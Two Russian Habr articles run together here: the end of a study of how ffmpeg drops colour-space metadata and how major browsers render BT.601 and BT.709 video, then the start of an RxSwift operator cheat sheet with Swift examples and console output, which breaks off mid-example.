Выполнив для этого файла команду `ffmpeg -i 709.mp4 -f rawvideo - | xxd`, мы получаем после преобразования цветового пространства значения пикселей yuv(93,67,68). Однако при рендеринге файла он *должен* выглядеть так же. Стоит заметить, что окончательные результаты могут и не быть идентичными, потому что мы продолжаем использовать 24 бита для кодирования каждого пикселя, а BT.709 имеет чуть больший диапазон цветов. Следовательно, некоторые цвета в BT.709 не сопоставляются точно с BT.601, и наоборот.
Посмотрев на результат, можно чётко заметить, что что-то не так. Новый файл рендерится со значениями rgb, равными 0,157,0 – гораздо ярче, чем входящий файл.
Давайте внимательно изучим свойства файла при помощи приложения ffprobe:
> `ffprobe 601vui.mp4:
>
> Stream #0:0(und): Video: h264 (Constrained Baseline) (avc1 / 0x31637661), yuvj420p(pc, smpte170m), 320x240, 9 kb/s, 25 fps, 25 tbr, 12800 tbn, 50 tbc (default)`
И
> `ffprobe 709.mp4:
>
> Stream #0:0(und): Video: h264 (Constrained Baseline) (avc1 / 0x31637661), yuvj420p(pc), 320x240, 5 kb/s, 25 fps, 25 tbr, 12800 tbn, 50 tbc (default)`
Основная часть информации здесь для нас неважна, но мы заметим, что 601vui.mp4 имеет формат пикселей «yuvj420p(pc, smpte170m)». Так мы понимаем, что файл имеет правильный VUI. Но 709.mp4 содержит только «yuvj420p(pc)». Похоже, метаданные цветового пространства не были включены в выходной файл. Даже несмотря на то, что фильтр цветового пространства смог прочитать исходное цветовое пространство, и мы явным образом указали новое пространство, программа ffmpeg не записала правильный vui в конечный файл.
Это плохо… Ffmpeg — самый популярный инструмент для преобразования видео. И он упускает информацию о цвете. Вероятно, по этой причине многие видео не содержат метаданные цветового пространства, и поэтому многие видео рендерятся с рассогласованными цветами. В защиту ffmpeg можно сказать, что это сложная проблема. Чтобы инициализировать энкодер, нужно заранее знать цветовое пространство. Кроме того, цветовое пространство может быть изменено видеофильтром. Это сложная для решения в коде проблема, но всё равно печально, что такое поведение является стандартным.
Обойти её можно, добавив метаданные цветового пространства вручную:
> `ffmpeg -i 601vui.mp4 -an -vcodec libx264 -profile:v baseline -crf 18 -preset:v placebo -vf "colorspace=range=pc:all=bt709" -colorspace bt709 -color_primaries bt709 -color_trc bt709 -color_range pc -y 709vui.mp4`
В результате значение цвета в 709vui.mp4 будет равно rgb(0,132,0). Яркость зелёного канала чуть меньше, чем в 601vui.mp4, но поскольку преобразование цветового пространства происходит с потерями, а результат меня устраивает, то назовём это успехом.
Из этого мы можем прийти к заключению, что когда в файле не указано цветовое пространство, Safari считает, что это BT.601. И со стороны Safari это очень хорошее допущение. Но как сказано выше, BT.601 — это стандарт SD-видео, а BT.709 — стандарт для HD. Давайте проверим HD-видео с VUI и без него, и посмотрим, как их рендерит Safari. Я использовал те же команды ffmpeg, только изменил разрешение на 1920x1080.
И в SD, и в HD цвет рендерится одинаково. Делая предположение о цветовом пространстве, Safari не учитывает разрешение. Apple уже давно работает в пространстве медиа и издательского дела, поэтому я ожидал, что продукт этой компании обеспечит достойные результаты. Но если даже в Safari всё устроено настолько хитро, то интересно, как обстоит ситуация в других браузерах.
Chrome:
Chrome рендерит видео 601 чуть более тёмным, чем Safari, но 709 выглядит так же. Подозреваю, что разница вызвана оптимизацией скорости в вычислениях с плавающей запятой, но для нашего теста это несущественно.
По опыту я знаю, что когда в настройках отключено аппаратное ускорение, Chrome выполняет рендеринг иначе:
Изучив этот результат, мы увидим, что значения в 601 рендерятся очень похожими на предыдущие, но файлы 709 рендерятся так, как будто в них нет VUI. Из этого мы можем заключить, что Chrome при отключенном аппаратном ускорении просто игнорирует VUI и рендерит все файлы, как будто они имеют формат 601. Это означает, что все файлы 709 будут воспроизводиться некорректно.
И наконец, давайте изучим Firefox:
Здесь нужно разобрать многое. Так как 709.mp4 и 709vui.mp4 выглядят одинаково, можно прийти к заключению, что при отсутствии VUI браузер Firefox предполагает формат BT.709. Правильный рендеринг 601vui.mp4 означает, что для контента BT.601 раздел VUI учитывается. Однако когда файл BT.601 без VUI рендерится как 709, то становится очень тёмным. Очевидно, что невозможно отрендерить картинку правильно без всей необходимой информации, однако выбранный Firefox способ искажает цвет сильнее, чем выбранные браузерами Safari и Chrome.
Как мы видим, ситуация с рендерингом цветов видео по-прежнему представляет собой Дикий Запад. К сожалению, мы рассмотрели только часть проблемы. Мы ещё не изучали Windows. Давайте сделаем это.
Microsoft Edge:
Похоже, что Edge (по крайней мере, на моём компьютере) просто игнорирует VUI и рендерит всё как 601.
Chrome (со включенным аппаратным ускорением):
Ситуация не очень отличается от Mac. При наличии VUI он обрабатывается правильно, но если его нет, для SD-контента предполагается формат BT.601, а для HD-контента — BT.709. Это единственный браузер, в котором я такое видел, но в этом есть определённая логика. Так как рендеринг выполняется иначе, чем на Mac, то подозреваю, что дело в ОС или, что более вероятно, в чём-то на уровне драйверов видеокарты, и этот выбор сделан не командой разработчиков Chrome.
Firefox ведёт себя так же, как и на Mac.
Что касается Linux, iOS, Android, Roku, Fire TV, смарт-телевизоров, игровых консолей и т.д., то я оставлю это в качестве упражнения для читателя.
Чему же мы научились? Самое главное: **всегда** указывайте в своих видео метаданные цветового пространства. Если вы пользуетесь ffmpeg и не задаёте флаги цвета, то вы работаете неправильно. Во-вторых, хотя ffmpeg и является потрясающей программой, её популярность, простота использования и неудачно выбранные стандартные параметры сослужили плохую службу. Никогда не стоит допускать, что ПО достаточно умно, чтобы разобраться в этом самостоятельно. Руководителям проектов Ffmpeg, Google, Mozilla, Microsoft (и, вероятно, Nvidia и AMD) нужно собраться и вместе выбрать единый способ. Я понимаю, что здесь нет хорошего решения, но плохое и предсказуемое лучше, чем плохое и случайное. Лично я рекомендую всегда предполагать формат BT.601, если раздел VUI отсутствует. Это создаёт наименьшую степень искажений. Можно выбрать для согласования этого стандарта [FOMS](http://foms-workshop.org), или даже [AOM](http://aomedia.org), поскольку эти организации имеют довольно неплохое представительство.
И напоследок: если у вас есть видео без информации о цвете и вам нужно его преобразовать или отрендерить, то удачи!
---
#### На правах рекламы
VDSina предлагает [недорогие серверы](https://vdsina.ru/cloud-servers?partner=habr408) с посуточной оплатой. Интернет-канал для каждого сервера — 500 Мегабит, защита от DDoS-атак включена в тариф, возможность установить Windows, Linux или вообще ОС со своего образа, а ещё очень удобная панель управления серверами [собственной разработки](https://habr.com/ru/company/vdsina/blog/460107/). Давно пора попробовать ;)
Присоединяйтесь к [нашему чату в Telegram](https://t.me/vdsina).
[](https://vdsina.ru/cloud-servers?partner=habr408) | https://habr.com/ru/post/560224/ | null | ru | null |
# RxSwift шпаргалка по операторам (+ PDF)
Заинтересовавшись темой функционального программирования я встал на распутье, — какой фреймворк выбрать для ознакомления. ReactiveCocoa — ветеран в iOS кругах, по нему вдоволь информации. Но он вырос с Objective-C, и хотя это не является проблемой, но все же в данный момент я в основном пишу именно на Swift, — хотелось бы взять решение изначально спроектированное с учетом всех плюшек языка. RxSwift же порт Reactive Extensions, имеющего долгую историю, но сам порт свежий и написанный именно под Swift. На нем я и решил остановиться.
Но специфика документации по RxSwift в том, что описание всех команд ведет на [reactivex.io](http://reactivex.io/), а там в основном дается общая информация, руки у разработчиков не дошли еще сделать документацию именно для RxSwift, что не всегда удобно. Некоторые команды имеют тонкости в реализации, есть те, о которых в общей документации нет ничего кроме упоминания.
Прочитав все главы вики с RxSwift гитхаба, я сразу решил поразбираться с официальными примерами, тут то и стало ясно, что с RX такое не пройдет, нужно хорошо понимать основы, иначе будешь как мартышка с ~~копипастом~~ гранатой. Я начал разбирать самые сложные для понимания команды, потом те, что вроде понятны, но задав себе вопросы по ним я понял, что лишь догадываюсь на то как верно ответить, но не уверен.
В общем ничтоже сумняшеся я решил проработать все операторы RxSwift. Лучший способ что то понять в программировании — запустить код и посмотреть как он отработает. Затем учитывая специфику реактивного программирования — очень полезны схемы, ну и краткое описание на русском. Закончив сегодня работу, я подумал, что грех не поделиться результатами с тем, кто лишь присматривается к теме реактивного программирования.
**Много картинок и текста под катом, очень много!**
Предварительно я рекомендую просмотреть [официальную документацию](https://github.com/ReactiveX/RxSwift), у меня передана основная суть и специфика RxSwift команд, а не основы.
Так же можно «поиграться» с шариками в схемах, так называемые [RxMarbles](http://rxmarbles.com/), есть бесплатная версия под [iPhone/iPad](https://itunes.apple.com/ru/app/rxmarbles/id1087272442?mt=8)
Итак, в этой статье я рассмотрю все (ну или почти все) команды RxSwift, по каждой я дам краткое описание, схему(если это имеет смысл), код, результат выполнения, при необходимости сделаю комментарии по выводу в лог результатов выполнения кода.
В статье заголовок каждой команды — ссылка на на официальную документацию, т.к. я не ставил перед собой цели перевести все нюансы по командам.
Вот [ссылка на гитхаб](https://github.com/sparklone/RxSwift), куда я склонировал официальный репозиторий RxSwift, и добавил свою песочницу (DescribeOperators.playground), где и будет практически тот же код, что и в статье.
А вот и [ссылка конкретно на PDF](https://github.com/sparklone/RxSwift/blob/master/RXSwift%20operators.pdf) где в виде mindMap собраны все команды, что позволяет быстро просмотреть их все. Кусочки кода в PDF приложены для того чтобы увидеть как и с каким параметрами нужно работать с командой. Изначально ради этого PDF я все и затеял — иметь под рукой документ в котором наглядно видны все команды с их схемами. PDF получился огромным (в плане рабочего пространства, а не веса), но я проверял, даже на iPad 2 все нормально просматривается.
Обо всех ошибках просьба писать в личку, объем работ оказался слегка великоват, после четвертой вычитки текста мои глаза меня прокляли.
Что ж, надеюсь моя работа кому то пригодится. Приступим.
Содержание
==========
[Заметки](#Intro)
Создание Observable
-------------------
[asObservable](#asObservable)
[create](#create)
[deferred](#deferred)
[empty](#empty)
[error](#error)
[interval](#interval)
[just](#just)
[never](#never)
[of](#of)
[range](#range)
[repeatElement](#repeatElement)
[timer](#timer)
Комбинирование Observable
-------------------------
[amb](#amb)
[combineLatest](#combineLatest)
[concat](#concat)
[merge](#merge)
[startWith](#startWith)
[switchLatest](#switchLatest)
[withLatestFrom](#withLatestFrom)
[zip](#zip)
Фильтрация
----------
[distinctUntilChanged](#distinctUntilChanged)
[elementAt](#elementAt)
[filter](#filter)
[ignoreElements](#ignoreElements)
[sample](#sample)
[single](#single)
[skip](#skip)
[skip (duration)](#skipDuration)
[skipUntil](#skipUntil)
[skipWhile](#skipWhile)
[skipWhileWithIndex](#skipWhileWithIndex)
[take](#take)
[take (duration)](#takeDuration)
[takeLast](#takeLast)
[takeUntil](#takeUntil)
[takeWhile](#takeWhile)
[takeWhileWithIndex](#takeWhileWithIndex)
[throttle](#throttle)
Трансформация
-------------
[buffer](#buffer)
[flatMap](#flatMap)
[flatMapFirst](#flatMapFirst)
[flatMapLatest](#flatMapLatest)
[flatMapWithIndex](#flatMapWithIndex)
[map](#map)
[mapWithIndex](#mapWithIndex)
[window](#window)
Операторы математические и агрегирования
----------------------------------------
[reduce](#reduce)
[scan](#scan)
[toArray](#toArray)
Работа с ошибками
-----------------
[catchError](#catchError)
[catchErrorJustReturn](#catchErrorJustReturn)
[retry](#retry)
[retryWhen](#retryWhen)
Операторы для работы с Connectable Observable
---------------------------------------------
[multicast](#multicast)
[publish](#publish)
[refCount](#refCount)
[reply](#reply)
[replayAll](#replayAll)
Вспомогательные методы
======================
[debug](#debug)
[doOn / doOnNext](#doOn)
[delaySubscription](#delaySubscription)
[observeOn](#observeOn)
[subscribe](#subscribe)
[subscribeOn](#subscribeOn)
[timeout](#timeout)
[using](#using)
В схемах я буду использовать обозначение **Source/SO** в качестве **Source Observable**, **RO/Result** в качестве **Result Observable**.
В качестве вспомогательного кода я буду пользоваться функцией createSequenceWithWait, она создает Observable из массива элементов с указанным интервалом между элементами.
```
public enum ResultType {
case Infinite
case Completed
case Error
}
public func createSequenceWithWait(array: [T], waitTime: Int64 = 1, resultType: ResultType = .Completed, describer: ((value: T) -> U)? = nil) -> Observable {
return Observable.create{ observer in
for (idx, letter) in array.enumerate() {
let time = dispatch\_time(dispatch\_time\_t(DISPATCH\_TIME\_NOW), waitTime \* Int64(idx) \* Int64(NSEC\_PER\_SEC))
dispatch\_after(time, dispatch\_get\_main\_queue()) {
if let describer = describer {
let value = describer(value: letter)
observer.on(.Next(value))
} else {
observer.on(.Next(letter as! U))
}
}
}
if resultType != .Infinite {
let allTime = dispatch\_time(dispatch\_time\_t(DISPATCH\_TIME\_NOW), waitTime \* Int64(array.count) \* Int64(NSEC\_PER\_SEC))
dispatch\_after(allTime, dispatch\_get\_main\_queue()) {
switch resultType {
case .Completed:
observer.onCompleted()
case .Error:
observer.onError(RxError.Unknown)
default:
break
}
}
}
return NopDisposable.instance
}
}
```
Функция example — просто позволяет отделять вывод в консоли, её код следующий (взят из RxSwift)
```
public func example(description: String, action: () -> ()) {
print("\n--- \(description) example ---")
action()
}
```
Во всех примерах, где необходимо работать с временными задержками, если этот код будет запускаться в песочнице — необходимо прописать
```
import XCPlayground
XCPlaygroundPage.currentPage.needsIndefiniteExecution = true
```
Так же подразумевается, что читатель имеет общее представление о том, что такое реактивное программирование в общем и о RxSwift в частности. Не знаю есть ли смысл городить очередную вводную.
Создание Observable
===================
---
### [asObservable](http://reactivex.io/documentation/operators/from.html)
Этот метод реализован в классах RxSwift, если они поддерживают конвертацию в Observable. Например: ControlEvent, ControlProperty, Variable, Driver
```
example("as Observable") {
let variable = Variable(0)
variable.asObservable().subscribe { e in
print(e)
}
variable.value = 1
}
```
Консоль:
```
--- as Observable example ---
Next(0)
Next(1)
Completed
```
В данном примере мы Variable преобразовали в Observable и подписались на его события
---
### [create](http://reactivex.io/documentation/operators/create.html)
Этот метод позволяет создавать Observable с нуля, полностью контролируя какие элементы и когда он будет генерировать.
```
example("create") {
let firstSequence = Observable.of(1, 2, 3)
let secondSequence = Observable.of("A", "B", "C")
let multipleSequence = Observable>.create { observer in
observer.on(.Next(firstSequence))
observer.on(.Next(secondSequence))
return NopDisposable.instance
}
let concatSequence = multipleSequence.concat()
concatSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- create example ---
Next(1)
Next(2)
Next(3)
Next(A)
Next(B)
Next(C)
```
В данном примере мы создали Observable вручную, он сгенерирует два Observable, элементы которых мы затем объединим командой **concat**, на получившийся Observable мы и подпишемся
---
### [deferred](http://reactivex.io/documentation/operators/defer.html)
Этот оператор позволяет отложить создание Observable, до момента подписки с помощью subscribe
```
example("without deferred") {
var i = 1
let justObservable = Observable.just(i)
i = 2
_ = justObservable.subscribeNext{ print ("i = \($0)") }
}
example("with deferred") {
var i = 1
let deferredJustObservable = Observable.deferred{
Observable.just(i)
}
i = 2
_ = deferredJustObservable.subscribeNext{ print ("i = \($0)") }
}
```
Консоль:
```
--- without deferred example ---
i = 1
--- with deferred example ---
i = 2
```
В первом случае Observable создается сразу, с помощью Observable.just(i), и изменение значение i уже не влияет на генерируемый элемент это последовательностью. Во втором же случае мы создаем с помощью deferred, и мы можем поменять значение i перед subscribe
---
### [empty](http://reactivex.io/documentation/operators/empty-never-throw.html)
Пустая последовательность, заканчивающаяся Completed
```
example("empty") {
let sequence = Observable.empty()
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- empty example ---
Completed
```
---
### [error](http://reactivex.io/documentation/operators/empty-never-throw.html)
Создаст последовательность, которая состоит из одного события — Error
```
example("error") {
let sequence = Observable
.error(RxError.Unknown)
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- error example ---
Error(Unknown error occured.)
```
---
### [interval](http://reactivex.io/documentation/operators/interval.html)
Создает бесконечную последовательность, возрастающую с 0 с шагом 1, с указанной периодичностью
```
example("interval") {
let sequence = Observable.interval(1, scheduler: MainScheduler.instance)
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- interval example ---
Next(0)
Next(1)
Next(2)
Next(3)
Next(4)
....
```
---
### [just](http://reactivex.io/documentation/operators/just.html)
Создает последовательность из любого значения, которая завершается Completed
```
example("just") {
let sequence = Observable.just(100)
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- just example ---
Next(100)
Completed
```
---
### [never](http://reactivex.io/documentation/operators/empty-never-throw.html)
Пустая последовательность, чьи observer’ы никогда не вызываются, т.е. не будет сгенерировано ни одно событие
```
example("never") {
let sequence = Observable.never()
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- never example ---
```
---
### [of](http://reactivex.io/documentation/operators/from.html)
Последовательность из variadic переменной, после всех элементов генерируется Completed
```
example("simple of") {
let sequence = Observable.of(1, 2)
sequence.subscribe { e in
print(e)
}
}
example("of for Observables") {
let firstSequence = Observable.of(1, 2, 3)
let secondSequence = Observable.of("A", "B", "C")
let bothSequence = Observable.of(firstSequence, secondSequence)
let mergedSequence = bothSequence.merge()
mergedSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- simple of example ---
Next(1)
Next(2)
Completed
--- of for Observables example ---
Next(1)
Next(2)
Next(3)
Next(A)
Next(B)
Next(C)
Completed
```
В первом случае мы создали последовательность из двух чисел. Во втором из двух Observable, а затем их объединили между собой с помощью оператора merge
---
### [range](http://reactivex.io/documentation/operators/range.html)
Создает последовательность с конечным числом элементов, возрастающую с шагом 1 от указанного значения указанное число раз, после всех элементов генерируется Completed
```
example("range") {
let sequence = Observable.range(start: 5, count: 3)
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- range example ---
Next(5)
Next(6)
Next(7)
Completed
```
Сгенерировались элементы начиная с 5, 3 раза с шагом 1
---
### [repeatElement](http://reactivex.io/documentation/operators/repeat.html)
Бесконечно создавать указанный элемент, без задержек. Никогда не будет сгенерированы события Completed или Error
```
example("repeatElement") {
let sequence = Observable.repeatElement(1, scheduler: MainScheduler.instance)
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- repeatElement example ---
Next(1)
Next(2)
Next(3)
.....
```
---
### [timer](http://reactivex.io/documentation/operators/timer.html)
Бесконечная последовательность, возрастающая с 0 с шагом 1, с указанной периодичностью и возможность задержки при старте. Никогда не будет сгенерированы события Completed или Error
```
example("timer") {
let sequence = Observable.timer(2, period: 3, scheduler: MainScheduler.instance)
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- timer example ---
Next(0)
Next(1)
Next(2)
```
В данном примере последовательность начнет генерировать элементы с задержкой в 2 секунды, каждые 3 секунды
Комбинирование Observable
=========================
---
### [amb](http://reactivex.io/documentation/operators/amb.html)
```
SO = [Observable] или SO1, SO2 = Observable
RO = Observable
```
Из всех Observable SO выбирается тот, который первым начинает генерировать элементы, его элементы и дублируются в RO, остальные SO игнорируются
```
example("amb") {
let subjectA = PublishSubject()
let subjectB = PublishSubject()
let subjectC = PublishSubject()
let subjectD = PublishSubject()
let ambSequence = [subjectA, subjectB, subjectC, subjectD].amb()
ambSequence.subscribe { e in
print(e)
}
subjectC.onNext(0)
subjectA.onNext(3)
subjectB.onNext(102)
subjectC.onNext(1)
subjectD.onNext(45)
}
```
Консоль:
```
--- amb example ---
Next(0)
Next(1)
```
Т.к. первым сгенерировал элемент subjectC, — лишь его элементы дублируются в RO, остальные игнорируются
---
### [combineLatest](http://reactivex.io/documentation/operators/combinelatest.html)
```
SO = SO1, SO2,... SON = Observable
RO = Observable
```
Как только все Observable сгенерировали хотя бы по одному элементу — эти элементы используются в качестве параметров в переданную функцию, и результат этой функции генерируется RO в качестве элемента. В дальнейшем при генерации любым Observable элемента — генерируется новый результат функции с последними элементами из всех комбинируемых Observable
```
example("combineLatest") {
let firstSequence = createSequenceWithWait([1,2,3], waitTime: 2) { element in
"\(element)"
}.debug("firstSequence")
let secondSequence = createSequenceWithWait(["A", "B", "C"], waitTime: 1) { element in
"\(element)"
}
.delaySubscription(3, scheduler: MainScheduler.instance)
.debug("secondSequence")
let concatSequence = Observable.combineLatest(firstSequence, secondSequence) {
first, second -> String in
"\(first) - \(second)"
}
concatSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- combineLatest example ---
2016-04-12 16:59:35.421: firstSequence -> subscribed
2016-04-12 16:59:35.422: secondSequence -> subscribed
2016-04-12 16:59:35.434: firstSequence -> Event Next(1)
2016-04-12 16:59:37.423: firstSequence -> Event Next(2)
2016-04-12 16:59:38.423: secondSequence -> Event Next(A)
Next(2 - A)
2016-04-12 16:59:39.423: firstSequence -> Event Next(3)
Next(3 - A)
2016-04-12 16:59:39.522: secondSequence -> Event Next(B)
Next(3 - B)
2016-04-12 16:59:40.622: secondSequence -> Event Next(C)
Next(3 - C)
2016-04-12 16:59:41.722: firstSequence -> Event Completed
2016-04-12 16:59:41.722: firstSequence -> disposed
2016-04-12 16:59:41.722: secondSequence -> Event Completed
2016-04-12 16:59:41.722: secondSequence -> disposed
Completed
```
В этом примере я создал Observable с помощью createSequenceWithWait, чтобы элементы генерировались с разной задержкой, чтобы было видно как перемешиваются элементы.
firstSequence успел сгенерировать 1 и 2, прежде чем secondSequence сгенерировал A, поэтому 1 отбросили, и первым выводом стало **2 — A**
---
### [concat](http://reactivex.io/documentation/operators/concat.html)
```
SO = Observable> или SO1, SO2 = Observable
RO = Observable
```
В RO элементы включают сначала все элементы первого Observable, и лишь затем следующего. Это означает, что если первый Observable никогда не сгенерирует Completed, — элементы второго никогда не поступят в RO. Ошибка в текущем Observable пробрасывается в RO
```
example("concat object method") {
let firstSequence = Observable.of(1, 2, 3)
let secondSequence = Observable.of("A", "B", "C")
let concatSequence = firstSequence.concat(secondSequence)
concatSequence.subscribe { e in
print(e)
}
}
example("concat from array") {
let firstSequence = Observable.of(1,2,3)
let secondSequence = Observable.of(4,5,6)
let concatSequence = Observable.of(firstSequence, secondSequence)
.concat()
concatSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- concat object method example ---
Next(1)
Next(2)
Next(3)
Next(A)
Next(B)
Next(C)
Completed
--- concat from array example ---
Next(1)
Next(2)
Next(3)
Next(4)
Next(5)
Next(6)
Completed
```
В первом примере мы присоединяем второй Observable к первому.
Во втором генерируем последовательность из массива.
---
### [merge](http://reactivex.io/documentation/operators/merge.html)
```
SO = Observable>
RO = Observable
```
Элементы RO включают элементы из исходных Observable в том порядке, в котором они были выпущены в исходных Observable
```
example("simple merge") {
let firstSequence = Observable.of(1, 2, 3)
let secondSequence = Observable.of("A", "B", "C")
let bothSequence = Observable.of(firstSequence, secondSequence)
let mergedSequence = bothSequence.merge()
mergedSequence.subscribe { e in
print(e)
}
}
example("merge with wait") {
let firstSequence = createSequenceWithWait([1,2,3]) { element in
"\(element)"
}
let secondSequence = createSequenceWithWait(["A", "B", "C"], waitTime: 2) { element in
"\(element)"
}
let bothSequence = Observable.of(firstSequence, secondSequence)
let mergedSequence = bothSequence.merge()
mergedSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- simple merge example ---
Next(1)
Next(2)
Next(3)
Next(A)
Next(B)
Next(C)
Completed
--- merge with wait example ---
Next(1)
Next(A)
Next(2)
Next(3)
Next(B)
Next(C)
Completed
```
В первом примере мы сливаем две последовательности созданные без задержки, в итоге первый Observable успевает сгенерировать все свои элементы перед тем как это начнет делать второй, результат оказывается идентичен concat
Во втором же случае последовательности сделаны с задержкой в генерации, и видно что элементы в RO теперь вперемешку, в том порядке в котором они были сгенерированы в исходных Observable
---
### [startWith](http://reactivex.io/documentation/operators/startwith.html)
```
SO = Observable
RO = Observable
```
В начало SO добавляются элементы переданные в качестве аргумента
```
example("startWith") {
let sequence = Observable.of(1, 2, 3).startWith(0)
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- startWith example ---
Next(0)
Next(1)
Next(2)
Next(3)
Completed
```
---
### [switchLatest](http://reactivex.io/documentation/operators/switch.html)
```
SO = Observable>
RO = Observable
```
Изначально подписываемся на O1 генерируемого SO, его элементы зеркально генерируются в RO. Как только из SO генерируется очередной Observable — элементы предыдущего Observable отбрасываются, т.к. происходит отписка от O1, подписываемся на O2 и так далее. Таким образом в RO — элементы лишь из последнего сгенерированного Observable
```
example("switchLatest") {
let varA = Variable(0)
let varB = Variable(100)
let proxyVar = Variable(varA.asObservable())
let concatSequence = proxyVar.asObservable().switchLatest()
concatSequence.subscribe { e in
print(e)
}
varA.value = 1
varA.value = 2
varB.value = 3
proxyVar.value = varB.asObservable()
varB.value = 4
varA.value = 5
}
example("switchLatest") {
let observableA = Observable.create{ observer in
delay(0) {
observer.on(.Next(10))
}
delay(3) {
observer.on(.Next(20))
}
delay(5) {
observer.onCompleted()
}
return NopDisposable.instance
}.debug("oA")
let observableB = Observable.create{ observer in
delay(0) {
observer.on(.Next(100))
}
delay(1) {
observer.on(.Next(200))
}
delay(2) {
observer.onCompleted()
}
return NopDisposable.instance
}.debug("oB")
let observableC = Observable.create{ observer in
delay(0) {
observer.on(.Next(1000))
}
delay(1) {
observer.on(.Next(2000))
}
delay(2) {
observer.onCompleted()
}
return NopDisposable.instance
}.debug("oC")
let subjects = [observableA, observableB, observableC]
let sequence:Observable> = createSequenceWithWait([observableA, observableB, observableC],waitTime:1) {$0}
let switchLatestSequence:Observable = sequence.switchLatest()
switchLatestSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- switchLatest example ---
Next(0)
Next(1)
Next(2)
Next(3)
Next(4)
Completed
--- switchLatest example ---
2016-04-12 17:15:22.710: oA -> subscribed
2016-04-12 17:15:22.711: oA -> Event Next(10)
Next(10)
2016-04-12 17:15:23.797: oA -> disposed // происходит отписка как только сгенерировался oB
2016-04-12 17:15:23.797: oB -> subscribed
2016-04-12 17:15:23.797: oB -> Event Next(100)
Next(100)
2016-04-12 17:15:24.703: oB -> disposed // происходит отписка как только сгенерировался oC
2016-04-12 17:15:24.703: oC -> subscribed
2016-04-12 17:15:24.703: oC -> Event Next(1000)
Next(1000)
2016-04-12 17:15:25.800: oC -> Event Next(2000)
Next(2000)
2016-04-12 17:15:26.703: oC -> Event Completed
2016-04-12 17:15:26.703: oC -> disposed
Completed
```
В первом примере показано как команда работает в статике, когда мы руками переподключаем Observable.
Во втором же у нас последовательности с задержками. observableA, observableB, observableC из SO генерируются раз в 1 секунду. Их же элементы генерируются с различными задержками.
---
### [withLatestFrom](http://reactivex.io/documentation/operators/combinelatest.html)
```
SO1, SO2 = Observable
RO = Observable
```
Как только O1 генерирует элемент проверяется сгенерирован ли хоть один элемент в O2, если да, то берутся последние элементы из O1 и O2 и используются в качестве аргументов для переданной функции, результат которой генерируется RO в качестве элемента
```
example("withLatestFrom") {
let varA = Variable(0)
let varB = Variable(10)
let withLatestFromSequence = varA.asObservable().withLatestFrom(varB.asObservable()) {
"\($0) - \($1)"
}
withLatestFromSequence.subscribe { e in
print(e)
}
varA.value = 1
varA.value = 2
varB.value = 20
varB.value = 30
varA.value = 5
varA.value = 6
}
```
Консоль:
```
--- withLatestFrom example ---
Next(0 - 10)
Next(1 - 10)
Next(2 - 10)
Next(5 - 30)
Next(6 - 30)
Completed
```
---
### [zip](http://reactivex.io/documentation/operators/zip.html)
```
SO = Observable>
RO = Observable
```
Элементы RO представляют собой комбинацию из элементов сгенерированных исходными Observable, объединение идет по индексу выпущенного элемента
```
example("zip with simple Variable") {
let varA = Variable(0)
let varB = Variable(10)
let zippedSequence = Observable.zip(varA.asObservable(), varB.asObservable()) { "\($0) - \($1)"
}
zippedSequence.subscribe { e in
print(e)
}
varA.value = 1
varA.value = 2
varB.value = 20
varB.value = 30
varA.value = 3
varA.value = 4
}
example("zip with PublishSubject") {
let subjectA = PublishSubject()
let subjectB = PublishSubject()
let zippedSequence = Observable.zip(subjectA, subjectB) { "\($0) - \($1)"
}
zippedSequence.subscribe { e in
print(e)
}
subjectA.onNext(0)
subjectA.onNext(1)
subjectA.onNext(2)
subjectB.onNext(100)
subjectB.onNext(101)
subjectA.onNext(3)
subjectB.onNext(102)
subjectA.onNext(4)
}
```
Консоль:
```
--- zip with simple Variable example ---
Next(0 - 10)
Next(1 - 20)
Next(2 - 30)
Completed
--- zip with PublishSubject example ---
Next(0 - 100)
Next(1 - 101)
Next(2 - 102)
```
Из примеров видно, что элементы комбинируются в том порядке, в каком они были сгенерированы в исходных Observable
Фильтрация
==========
---
### [distinctUntilChanged](http://reactivex.io/documentation/operators/distinct.html)
Пропускаем все повторяющиеся **подряд идущие** элементы
```
example("distinctUntilChanged") {
let sequence = Observable.of(1, 2, 2, 3, 4, 4, 4, 1).distinctUntilChanged()
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- distinctUntilChanged example ---
Next(1)
Next(2)
Next(3)
Next(4)
Next(1)
Completed
```
Здесь тонкий момент, что отбрасываются не уникальные для всей последовательности элементы, а лишь те, которые идут подряд.
---
### [elementAt](http://reactivex.io/documentation/operators/elementat.html)
В RO попадает лишь элемент выпущенный N по счету
```
example("elementAt") {
let sequence = Observable.of(0, 10, 20, 30, 40)
.elementAt(2)
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- elementAt example ---
Next(20)
Completed
```
---
### [filter](http://reactivex.io/documentation/operators/filter.html)
Отбрасываются все элементы, которые не удовлетворяют заданным условиям
```
example("filter") {
let sequence = Observable.of(1, 20, 3, 40)
.filter{ $0 > 10}
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- filter example ---
Next(20)
Next(40)
Completed
```
---
### [ignoreElements](http://reactivex.io/documentation/operators/ignoreelements.html)
Отбрасывает все элементы, передаёт только терминальные сообщения Completed и Error
```
example("ignoreElements") {
let sequence = Observable.of(1, 2, 3, 4)
.ignoreElements()
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- ignoreElements example ---
Completed
```
---
### [sample](http://reactivex.io/documentation/operators/sample.html)
При каждом сгенерированном элементе последовательности семплера (воспринимать как таймер) — брать **последний** выпущенный элемент исходной последовательности и дублировать его в RO, ЕСЛИ он не был сгенерирован ранее
```
example("sampler") {
let sampler = Observable.interval(1, scheduler: MainScheduler.instance).debug("sampler")
let sequence:Observable = createSequenceWithWait([1,2,3,4], waitTime: 3).sample(sampler)
